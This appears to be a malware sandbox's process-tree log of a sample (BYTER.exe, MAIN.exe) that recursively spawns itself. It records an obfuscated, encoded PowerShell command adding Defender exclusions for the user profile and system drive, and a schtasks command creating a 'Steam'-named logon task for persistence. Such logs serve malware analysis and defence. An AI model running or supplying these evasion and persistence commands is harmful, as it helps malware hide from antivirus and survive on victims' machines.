        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        154⤵
        
        PID:5976
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        154⤵
        
        PID:3800
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        155⤵
        
        PID:4932
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        155⤵
        
        PID:1784
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        156⤵
        
        PID:1440
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        156⤵
        
        PID:4912
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        157⤵
        
        PID:4472
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        157⤵
        
        PID:6052
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        158⤵
        
        PID:1884
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        158⤵
        
        PID:3604
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        159⤵
        
        PID:5012
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        159⤵
        
        PID:7008
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHQAbABxACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGUAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAaABqACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AZAB2ACMAPgA="
        160⤵
        
        PID:4132
        
        C:\Users\Admin\AppData\Local\Temp\BYTER.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BYTER.exe"
        160⤵
        
        PID:5164
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        160⤵
        
        PID:7076
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        159⤵
        
        PID:6292
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        158⤵
        
        PID:1216
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        157⤵
        
        PID:2092
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        156⤵
        
        PID:4188
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        155⤵
        
        PID:6276
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        154⤵
        
        PID:5044
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        153⤵
        
        PID:964
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        152⤵
        
        PID:5004
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        151⤵
        
        PID:1664
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        150⤵
        
        PID:1884
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        149⤵
        
        PID:6056
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        148⤵
        
        PID:5220
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        147⤵
        
        PID:420
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        146⤵
        
        PID:3528
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        145⤵
        
        PID:5040
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        144⤵
        
        PID:3052
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        143⤵
        
        PID:1508
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        142⤵
        
        PID:1940
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        141⤵
        
        PID:4024
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        140⤵
        
        PID:5564
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        139⤵
        
        PID:1640
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        138⤵
        
        PID:4440
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        137⤵
        
        PID:6308
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        136⤵
        
        PID:5152
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        135⤵
        
        PID:3836
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        134⤵
        
        PID:2104
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        133⤵
        
        PID:3224
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        132⤵
        
        PID:6252
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        131⤵
        
        PID:5268
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        130⤵
        
        PID:2744
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        129⤵
        
        PID:6312
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        128⤵
        
        PID:6160
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        127⤵
        
        PID:5536
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        126⤵
        
        PID:5580
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        125⤵
        
        PID:4500
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        124⤵
        
        PID:6400
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        123⤵
        
        PID:5712
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        122⤵
        
        PID:6552
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        121⤵
        
        PID:4396
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        120⤵
        
        PID:5908
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        119⤵
        
        PID:6436
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        118⤵
        
        PID:2168
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        117⤵
        
        PID:6616
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        116⤵
        
        PID:1620
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        115⤵
        
        PID:376
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        114⤵
        
        PID:3092
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        113⤵
        
        PID:6528
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        112⤵
        
        PID:6096
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        111⤵
        
        PID:6600
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        110⤵
        
        PID:5776
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        109⤵
        
        PID:5288
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        108⤵
        
        PID:3060
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        107⤵
        
        PID:5628
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        106⤵
        
        PID:2224
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        105⤵
        
        PID:3800
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        104⤵
        
        PID:4108
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        103⤵
        
        PID:2328
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        102⤵
        
        PID:2044
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        101⤵
        
        PID:3076
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        100⤵
        
        PID:5636
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        99⤵
        
        PID:5252
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        98⤵
        
        PID:5756
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        97⤵
        
        PID:6820
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        96⤵
        
        PID:580
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        95⤵
        
        PID:2160
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        94⤵
        
        PID:5468
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        93⤵
        
        PID:1164
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        92⤵
        
        PID:5604
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        91⤵
        
        PID:5076
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        90⤵
        
        PID:4680
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        89⤵
        
        PID:580
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        88⤵
        
        PID:6616
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        87⤵
        
        PID:4916
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        86⤵
        
        PID:2316
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        85⤵
        
        PID:1668
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        84⤵
        
        PID:7152
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        83⤵
        
        PID:3436
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        82⤵
        
        PID:6692
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        81⤵
        
        PID:5140
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        80⤵
        
        PID:5936
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        79⤵
        
        PID:6008
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        78⤵
        
        PID:3992
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        77⤵
        
        PID:1408
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        76⤵
        
        PID:2960
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        75⤵
        
        PID:4040
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        74⤵
        
        PID:7056
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        73⤵
        
        PID:2636
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        72⤵
        
        PID:4492
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        71⤵
        
        PID:1112
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        70⤵
        
        PID:6440
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        69⤵
        
        PID:5056
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        68⤵
        
        PID:5064
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        67⤵
        
        PID:5872
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        66⤵
        
        PID:6096
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        65⤵
        
        PID:1924
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        64⤵
        
        PID:1640
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        63⤵
        
        PID:5468
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        62⤵
        
        PID:6488
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        61⤵
        
        PID:6860
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        60⤵
        
        PID:4240
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        59⤵
        
        PID:5316
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        58⤵
        
        PID:5524
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        57⤵
        
        PID:3560
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        56⤵
        
        PID:3208
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        55⤵
        
        PID:6808
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        54⤵
        
        PID:6464
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        53⤵
        
        PID:5664
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        52⤵
        
        PID:5328
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        51⤵
        
        PID:1464
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        50⤵
        
        PID:5064
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        49⤵
        
        PID:5448
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        48⤵
        
        PID:2168
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        47⤵
        
        PID:932
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        46⤵
        
        PID:3424
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        45⤵
        
        PID:1516
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        44⤵
        
        PID:6732
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        43⤵
        
        PID:4952
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        42⤵
        
        PID:5448
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        41⤵
        
        PID:5016
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        40⤵
        
        PID:2676
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        39⤵
        
        PID:4680
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        38⤵
        
        PID:5056
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        37⤵
        
        PID:1060
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        36⤵
        
        PID:964
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        35⤵
        
        PID:6160
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        34⤵
        
        PID:6940
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        33⤵
        
        PID:5184
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        32⤵
        
        PID:5224
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        31⤵
        
        PID:6504
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        30⤵
        
        PID:6668
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        29⤵
        
        PID:4404
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        28⤵
        
        PID:1308
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        27⤵
        
        PID:6824
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Steam" /tr '"C:\Users\Admin\AppData\Roaming\Steam.exe"' & exit
        28⤵
        
        PID:6312
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "Steam" /tr '"C:\Users\Admin\AppData\Roaming\Steam.exe"'
        29⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2224
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        26⤵
        
        PID:6508
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        25⤵
        
        PID:6256
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        24⤵
        
        PID:5844
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        23⤵
        
        PID:5040
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        22⤵
        
        PID:2508
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        21⤵
        
        PID:5732
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        20⤵
        
        PID:1268
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        19⤵
        
        PID:4428
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        18⤵
        
        PID:1852
        
        C:\Users\Admin\AppData\Local\Temp\MAIN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MAIN.exe"
        17⤵
